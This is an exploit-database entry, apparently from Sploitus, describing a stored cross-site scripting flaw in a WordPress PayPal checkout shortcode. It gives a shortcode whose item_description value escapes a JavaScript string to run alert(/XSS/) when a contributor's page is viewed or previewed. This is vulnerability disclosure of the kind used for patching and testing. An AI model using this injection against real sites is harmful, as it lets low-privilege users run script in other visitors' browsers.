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## https://sploitus.com/exploit?id=WPEX-ID:0B48BBD6-7C77-44B8-A5D6-34E4A0747CF1
As a contributor, put the following shortcode in a page/post

[checkout_for_paypal amount='1' item_description='"; alert(/XSS/); return ;"']

The XSS will be triggered when viewing/previewing the page/post